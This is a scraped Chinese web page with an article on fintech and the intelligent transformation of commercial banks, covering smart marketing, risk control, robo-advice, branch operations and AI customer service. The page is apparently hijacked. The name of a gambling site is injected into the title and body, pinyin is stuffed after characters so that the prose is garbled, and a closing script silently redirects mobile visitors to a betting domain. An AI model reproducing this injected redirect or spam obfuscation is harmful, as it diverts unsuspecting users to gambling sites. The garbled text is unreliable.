ku游戏网站

今(jin)天是2021年7月31日 星期(qi)六,欢迎光临本(ben)站 

网点转型

金融科技如何助力银行智能化转型

文字:[大][中][小] 手机页面二维码 2020/8/30     浏览次数:    


      近年(nian)来,伴(ban)随(sui)着新一轮科(ke)技的(de)发展,人(ren)工智能(neng)(AI)、区块(kuai)链、互(hu)联网、云计算、大数据等信息技术与传统金融(rong)业(ye)务(wu)快(kuai)速融(rong)合(he),银(yin)行业(ye)的(de)经(jing)营(ying)产生了巨大变化。借助金融(rong)科(ke)技,实现“三升两降”,即提(ti)升收入(ru)、提(ti)高(gao)竞争(zheng)力、提(ti)升服务(wu)水平,降成(cheng)本、降风险(xian),已成(cheng)为(wei)广(guang)大银(yin)行在智能(neng)金融(rong)时代创新转型的(de)重要方向(xiang)。

当前商业银行智能化的探索(suo)重点(dian)与(yu)方向(xiang)

      智能化转型是(shi)商(shang)业银行提升客户服务能力的需(xu)要。以往银行(xing)对客(ke)(ke)(ke)户的(de)(de)了(le)(le)解(jie),主要依(yi)赖(lai)于开户基本信息和(he)账户交(jiao)(jiao)易情(qing)况(kuang),对客(ke)(ke)(ke)户行(xing)为(wei)、偏好(hao)和(he)动(dong)态知之甚少。随着移动(dong)互联网持续(xu)渗透,银行(xing)的(de)(de)客(ke)(ke)(ke)户需求(qiu)和(he)行(xing)为(wei)发生了(le)(le)明(ming)显变化。据统计,我国网民已超过(guo)7.5亿人,四(si)大商(shang)业银行(xing)电子渠(qu)道交(jiao)(jiao)易占比均超过(guo)9成,客(ke)(ke)(ke)户对简单、便捷、智(zhi)能化的(de)(de)金融服(fu)务(wu)体(ti)验(yan)(yan),越来(lai)越青睐。如何通过(guo)智(zhi)能化服(fu)务(wu)更深入了(le)(le)解(jie)客(ke)(ke)(ke)户、满足个性(xing)化需求(qiu)、改善客(ke)(ke)(ke)户体(ti)验(yan)(yan),已成为(wei)考验(yan)(yan)银行(xing)服(fu)务(wu)能力的(de)(de)关键,也是银行(xing)未来(lai)的(de)(de)核心竞(jing)争力之一。

      智能化转(zhuan)型是商(shang)业(ye)银(yin)行应对市场竞争的(de)需要(yao)。当前,互联网、云计算、大(da)数据和(he)人工(gong)智能正(zheng)在不断重塑(su)金(jin)融业,对银行(xing)业的盈(ying)(ying)利产生巨大(da)冲击。一方面,来自(zi)金(jin)融行(xing)业内(nei)部(bu)机构的竞争(zheng)加剧;另(ling)一方面,互联网金(jin)融企业凭借极佳的客(ke)户体验(yan)和(he)更低的运营成本,迅速抢(qiang)占银行(xing)市场份额(e)。从长期看,商业银行(xing)的盈(ying)(ying)利能力将不再依靠(kao)简单(dan)的规模(mo)和(he)传统经验(yan)决策(ce),必须依靠(kao)智能决策(ce)、集约化发展才能保持竞争(zheng)优势。

      智能(neng)化转型(xing)是商业银(yin)行提(ti)升(sheng)内部管理能(neng)力的需要(yao)。银(yin)(yin)监会统计数据显示,截至2017年6月(yue)底,全国商业(ye)银(yin)(yin)行(xing)(xing)不(bu)(bu)(bu)良贷(dai)款余(yu)额为1.64万(wan)亿(yi)元,较3月(yue)底增加563亿(yi)元;不(bu)(bu)(bu)良贷(dai)款率为1.74%,与上季度末(mo)持(chi)平。商业(ye)银(yin)(yin)行(xing)(xing)不(bu)(bu)(bu)良贷(dai)款余(yu)额的持(chi)续攀升,需要(yao)商业(ye)银(yin)(yin)行(xing)(xing)利用(yong)(yong)新技术,快速准确地甄别和(he)防控风险(xian)。同时(shi),商业(ye)银(yin)(yin)行(xing)(xing)盈利增长(zhang)压力(li)较大,迫(po)切需要(yao)智(zhi)能(neng)化(hua)转(zhuan)型降(jiang)(jiang)低成(cheng)本。近年来(lai),不(bu)(bu)(bu)少(shao)银(yin)(yin)行(xing)(xing)将网(wang)点智(zhi)能(neng)化(hua)转(zhuan)型作为降(jiang)(jiang)低成(cheng)本的重要(yao)方向,成(cheng)功实现了运营“三降(jiang)(jiang)”,即网(wang)点面积压降(jiang)(jiang)、人员(yuan)压降(jiang)(jiang)和(he)费用(yong)(yong)压降(jiang)(jiang)。可(ke)以预见,未来(lai)这种(zhong)趋势仍将持(chi)续。

当前商业银行智能化的探索重点与(yu)方向

      从国内外实践看,客(ke)(ke)户营(ying)销、风险(xian)管理(li)、资产管理(li)、网点运营(ying)和智能(neng)(neng)客(ke)(ke)服(fu)等领域,是(shi)目前(qian)商(shang)业银行智能(neng)(neng)化创新转型(xing)的重要方(fang)向(xiang)。

      智(zhi)能营销,降(jiang)低获客活客成本。对(dui)于(yu)商(shang)业银行(xing),谁能(neng)(neng)迅(xun)速有效(xiao)(xiao)找到用户(hu)(hu)(hu)、理解用户(hu)(hu)(hu)、服务(wu)(wu)用户(hu)(hu)(hu),谁就能(neng)(neng)占领先(xian)机。然(ran)而,传统(tong)线下网点客(ke)(ke)户(hu)(hu)(hu)经(jing)理营(ying)销(xiao)和(he)发短信、外呼等线上(shang)标准(zhun)(zhun)化(hua)批量营(ying)销(xiao)模(mo)式,由(you)于(yu)欠缺针(zhen)对(dui)性和(he)精(jing)(jing)准(zhun)(zhun)度(du)(du),不仅效(xiao)(xiao)率低,且容易(yi)造(zao)成客(ke)(ke)户(hu)(hu)(hu)反感。而智(zhi)能(neng)(neng)金(jin)融(rong)的精(jing)(jing)准(zhun)(zhun)识别与用户(hu)(hu)(hu)画像能(neng)(neng)力,使银行(xing)业开展精(jing)(jing)准(zhun)(zhun)营(ying)销(xiao)成为(wei)可(ke)能(neng)(neng)。通过搜集(ji)(ji)用户(hu)(hu)(hu)社交(jiao)(jiao)、消费、信用、金(jin)融(rong)交(jiao)(jiao)易(yi)等行(xing)为(wei)数据,建(jian)立(li)基于(yu)人工智(zhi)能(neng)(neng)的精(jing)(jing)准(zhun)(zhun)营(ying)销(xiao)解决方案,可(ke)以(yi)使银行(xing)客(ke)(ke)户(hu)(hu)(hu)筛选(xuan)和(he)精(jing)(jing)准(zhun)(zhun)服务(wu)(wu)提升(sheng)到全新的高度(du)(du)。从(cong)国内(nei)看,平安依托智(zhi)能(neng)(neng)化(hua)的“平安脑”,全面推动(dong)客(ke)(ke)户(hu)(hu)(hu)全生命周期智(zhi)能(neng)(neng)管理,涵盖(gai)了新客(ke)(ke)户(hu)(hu)(hu)精(jing)(jing)准(zhun)(zhun)营(ying)销(xiao)、存量客(ke)(ke)户(hu)(hu)(hu)交(jiao)(jiao)叉营(ying)销(xiao)和(he)个(ge)性化(hua)服务(wu)(wu)、流(liu)失客(ke)(ke)户(hu)(hu)(hu)识别与挽(wan)留等多个(ge)方面,并在(zai)实践中取得了良好的效(xiao)(xiao)果(guo)。以(yi)智(zhi)能(neng)(neng)金(jin)融(rong)交(jiao)(jiao)叉销(xiao)售为(wei)例,平安集(ji)(ji)团2016年客(ke)(ke)均合同数达(da)到2.21个(ge),较年初增长8.9%,在(zai)国内(nei)同业名列(lie)前(qian)茅。

      智能(neng)风(feng)控,提升(sheng)风(feng)险管理能(neng)力。风(feng)(feng)控(kong)是商业银(yin)(yin)行(xing)的(de)核心竞(jing)争力。随着(zhe)商业银(yin)(yin)行(xing)不良持续攀升,信(xin)用风(feng)(feng)险防控(kong)压力增大(da),而(er)(er)线上金融(rong)(rong)交易(yi)的(de)快速增加,使得(de)各类新(xin)兴(xing)欺(qi)(qi)(qi)诈(zha)行(xing)为(wei)日益(yi)猖獗,这都对银(yin)(yin)行(xing)风(feng)(feng)控(kong)提(ti)出(chu)了(le)新(xin)的(de)要(yao)求(qiu),而(er)(er)智能风(feng)(feng)控(kong)有(you)助于全面提(ti)升银(yin)(yin)行(xing)风(feng)(feng)控(kong)能力。以反欺(qi)(qi)(qi)诈(zha)为(wei)例,通过基于图(tu)谱的(de)复(fu)杂(za)网(wang)络技术(shu),依据申请人、手机(ji)(ji)号、设备(bei)、IP地址等各类信(xin)息节(jie)点,构建(jian)基于规则(ze)和机(ji)(ji)器学习的(de)反欺(qi)(qi)(qi)诈(zha)模型(xing)实(shi)时(shi)识别,将(jiang)有(you)助于实(shi)现(xian)智能实(shi)时(shi)反欺(qi)(qi)(qi)诈(zha)。如(ru)平安从(cong)亿级别的(de)海(hai)量(liang)金融(rong)(rong)数(shu)据中建(jian)立了(le)用户行(xing)为(wei)画(hua)像、训练大(da)数(shu)据侦测模型(xing),同时(shi)搭(da)载高(gao)效的(de)决策引(yin)擎(qing),实(shi)现(xian)了(le)毫秒级决策响应的(de)全天候实(shi)时(shi)反欺(qi)(qi)(qi)诈(zha)监控(kong)。

      智能(neng)资产管理,提升投资服务能(neng)力(li)。随(sui)着(zhe)居(ju)民财富的(de)(de)增(zeng)加和(he)投(tou)(tou)资(zi)(zi)(zi)意愿的(de)(de)增(zeng)强,带动(dong)银行(xing)资(zi)(zi)(zi)产(chan)管(guan)理(li)业务(wu)快速增(zeng)长。而智(zhi)(zhi)(zhi)能(neng)(neng)(neng)资(zi)(zi)(zi)产(chan)管(guan)理(li),也称为智(zhi)(zhi)(zhi)能(neng)(neng)(neng)投(tou)(tou)顾(gu)(Robo-Advisor)成为近(jin)期创新的(de)(de)热(re)点。从(cong)国际(ji)上看,先(xian)锋(feng)理(li)财(Wealthfront)是世界领先(xian)的(de)(de)智(zhi)(zhi)(zhi)能(neng)(neng)(neng)资(zi)(zi)(zi)产(chan)管(guan)理(li)的(de)(de)代表平台,仅(jin)用了两年半的(de)(de)时间,就管(guan)理(li)了超过10亿(yi)美元(yuan)的(de)(de)资(zi)(zi)(zi)产(chan)。从(cong)国内(nei)(nei)看,招商(shang)银行(xing)于(yu)2016年12月在(zai)业内(nei)(nei)率先(xian)推(tui)出摩羯智(zhi)(zhi)(zhi)投(tou)(tou),目前管(guan)理(li)资(zi)(zi)(zi)产(chan)规模达到50亿(yi)元(yuan)。金融壹账通(tong)推(tui)出的(de)(de)“智(zhi)(zhi)(zhi)能(neng)(neng)(neng)财富管(guan)家”,整合了客(ke)户百万级行(xing)为数据、平安证券基金投(tou)(tou)研服务(wu)与陆金所(suo)资(zi)(zi)(zi)管(guan)基金销售(shou)服务(wu),独(du)创客(ke)户画像智(zhi)(zhi)(zhi)能(neng)(neng)(neng)识别(bie)系统,为用户提(ti)供智(zhi)(zhi)(zhi)能(neng)(neng)(neng)化(hua)、个(ge)性化(hua)的(de)(de)资(zi)(zi)(zi)产(chan)配(pei)置方案(an)。从(cong)长期来看,智(zhi)(zhi)(zhi)能(neng)(neng)(neng)投(tou)(tou)顾(gu)服务(wu)通(tong)过大幅降(jiang)低投(tou)(tou)资(zi)(zi)(zi)门槛(jian),弥(mi)补了中低收入(ru)群体投(tou)(tou)资(zi)(zi)(zi)顾(gu)问服务(wu)的(de)(de)市场(chang)空白,真正实现了金融服务(wu)的(de)(de)平等化(hua)和(he)普惠化(hua),具有(you)极好的(de)(de)发展前景(jing)。

       智能运营(ying),推(tui)动零售网点转型。当前(qian),大(da)零(ling)售(shou)是国(guo)内(nei)银行(xing)(xing)(xing)业(ye)(ye)转型(xing)的(de)重(zhong)要(yao)方向,而通过金融科技对银行(xing)(xing)(xing)柜(ju)面(mian)业(ye)(ye)务运(yun)营(ying)(ying)体系和客户服(fu)务流(liu)程等进行(xing)(xing)(xing)智(zhi)能(neng)化改(gai)造,改(gai)善(shan)客户体验,优化资源(yuan)配置,降低运(yun)营(ying)(ying)成本(ben),已成为银行(xing)(xing)(xing)业(ye)(ye)零(ling)售(shou)转型(xing)的(de)共(gong)同选择。目前(qian),部分海(hai)外银行(xing)(xing)(xing)已开始借助机(ji)器流(liu)程自动(dong)化(PRA)进行(xing)(xing)(xing)智(zhi)能(neng)化运(yun)营(ying)(ying),提(ti)升(sheng)(sheng)服(fu)务效率。从国(guo)内(nei)看(kan),平安银行(xing)(xing)(xing)创新(xin)推出(chu)“SAT(社交+移动(dong)应用+远(yuan)程服(fu)务)+智(zhi)能(neng)网(wang)点”为核心的(de)零(ling)售(shou)银行(xing)(xing)(xing)运(yun)营(ying)(ying)体系,截至2017年(nian)6月,平安银行(xing)(xing)(xing)零(ling)售(shou)业(ye)(ye)务全行(xing)(xing)(xing)利(li)润占比(bi)高达64%,较2016年(nian)同期的(de)29%呈现大(da)幅度提(ti)升(sheng)(sheng),智(zhi)能(neng)网(wang)点效果显著。根据波士顿(dun)咨询(xun)公(gong)司(si)(BCG)测算,智(zhi)能(neng)运(yun)营(ying)(ying)转型(xing)将使(shi)银行(xing)(xing)(xing)成本(ben)收入比(bi)下降1个(ge)百分点,以一家营(ying)(ying)收为1000亿元(yuan)的(de)中型(xing)银行(xing)(xing)(xing)估算,这意(yi)味着(zhe)智(zhi)能(neng)运(yun)营(ying)(ying)将每年(nian)增加约(yue)10亿元(yuan)的(de)利(li)润,潜(qian)力巨大(da)。

       智(zhi)能客服,改(gai)善体验降低成本。随着智能客(ke)(ke)(ke)(ke)服(fu)(fu)的(de)发展,使得大(da)量(liang)简(jian)单话(hua)务被(bei)智能机器(qi)取代,可以极大(da)节(jie)约(yue)客(ke)(ke)(ke)(ke)服(fu)(fu)人(ren)(ren)工(gong)成(cheng)本,改善服(fu)(fu)务体(ti)验。如平安“AI客(ke)(ke)(ke)(ke)服(fu)(fu)”以AI技(ji)术(shu)为(wei)内核,通过人(ren)(ren)脸(lian)、声纹等(deng)生物(wu)认证技(ji)术(shu)和大(da)数(shu)据匹配,可远程核实(shi)客(ke)(ke)(ke)(ke)户(hu)身份信息,实(shi)现“在(zai)线(xian)一次性业务办理”服(fu)(fu)务,目前(qian)已广泛应用于银行、证券、保险等(deng)金(jin)融服(fu)(fu)务领域。从实(shi)践来看(kan),通过构建起百(bai)万(wan)级的(de)金(jin)融问题库,AI客(ke)(ke)(ke)(ke)服(fu)(fu)支持文字、语音、图片(pian)等(deng)多种(zhong)模式的(de)机器(qi)人(ren)(ren)交互,拥有93%的(de)机器(qi)答复(fu)率和95%的(de)回(hui)答正确(que)率,极大(da)地提高了(le)(le)服(fu)(fu)务效率和客(ke)(ke)(ke)(ke)户(hu)体(ti)验,释(shi)放了(le)(le)人(ren)(ren)工(gong)资(zi)源。据统计,2016年末国内银行业客(ke)(ke)(ke)(ke)服(fu)(fu)中心从业人(ren)(ren)员为(wei)5.36万(wan)人(ren)(ren),按照人(ren)(ren)均(jun)成(cheng)本20万(wan)/年、智能客(ke)(ke)(ke)(ke)服(fu)(fu)90%替代率测算,仅智能客(ke)(ke)(ke)(ke)服(fu)(fu)一项(xiang)将(jiang)为(wei)银行业每年节(jie)约(yue)近百(bai)亿元成(cheng)本。

商业银行智能化(hua)转型的路(lu)径选择(ze)

       商业银行在(zai)迎接这场智能化转型浪潮(chao)中,由于自(zi)身资(zi)源禀赋不同,在(zai)科技(ji)开发、组织架构(gou)、资(zi)产规模、业务结(jie)构(gou)、ku游戏网站等(deng)方面存在(zai)巨大(da)差异,需(xu)要(yao)(yao)审时(shi)度势,既要(yao)(yao)建立长远的战略布局(ju),也要(yao)(yao)根据自(zi)身的特点,灵活调整(zheng)发展策略。

大(da)型银(yin)行:构筑生态(tai)化平台战略,实现多(duo)方(fang)资源整合

       大(da)型商业(ye)(ye)银(yin)行(xing)(xing)(xing)凭借丰富的(de)(de)(de)(de)客户(hu)群基(ji)础、优质的(de)(de)(de)(de)人(ren)才积(ji)累和实(shi)力雄厚的(de)(de)(de)(de)科技力量(liang),更(geng)倾向(xiang)于(yu)构建以“我”为(wei)主的(de)(de)(de)(de)平(ping)台化智能金融生态。从实(shi)践(jian)来看,工(gong)行(xing)(xing)(xing)“融E购”“融E行(xing)(xing)(xing)”“融E联(lian)”三大(da)平(ping)台,农(nong)行(xing)(xing)(xing)的(de)(de)(de)(de)金融、电商与(yu)社交三大(da)互(hu)联(lian)网(wang)金融平(ping)台战略,均(jun)是向(xiang)着(zhe)这(zhei)个方向(xiang)发(fa)展。同(tong)时,国有大(da)行(xing)(xing)(xing)也开始全面加强与(yu)金融科技公司的(de)(de)(de)(de)合作,实(shi)现优势互(hu)补。如2017年上半年,建行(xing)(xing)(xing)与(yu)阿里(li)巴巴、工(gong)行(xing)(xing)(xing)与(yu)京(jing)东、农(nong)行(xing)(xing)(xing)与(yu)百度、中行(xing)(xing)(xing)与(yu)腾讯陆续携手,在科技、账户(hu)、数据、业(ye)(ye)务等层面,探(tan)索广泛的(de)(de)(de)(de)交集。

      从长期看,大型银行需(xu)要建(jian)立前瞻性的(de)(de)(de)智能(neng)化金(jin)(jin)融科技发展战略,建(jian)立与之(zhi)相匹配的(de)(de)(de)创新与管理文化理念。要将(jiang)网点优势资源转型为智能(neng)渠道,并将(jiang)金(jin)(jin)融服务与生活场景无缝对(dui)接,建(jian)立线(xian)上线(xian)下(xia)联动的(de)(de)(de)新金(jin)(jin)融智能(neng)平台生态体系。

        对于(yu)广大中(zhong)小银(yin)行(xing),其在技(ji)术储备、人(ren)才队伍、客户规(gui)模等(deng)方面都(dou)远逊色于(yu)大型银(yin)行(xing),很难花费巨额资金(jin)(jin)投入在智(zhi)能化(hua)金(jin)(jin)融科技(ji)研发(fa)和技(ji)术升级方面。因(yin)此,“小而美”的差异化(hua)发(fa)展之路是切(qie)实可行(xing)之路。


返回上一步
打印此页
13818970338
浏览(lan)手机站
微信(xin)二维码
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();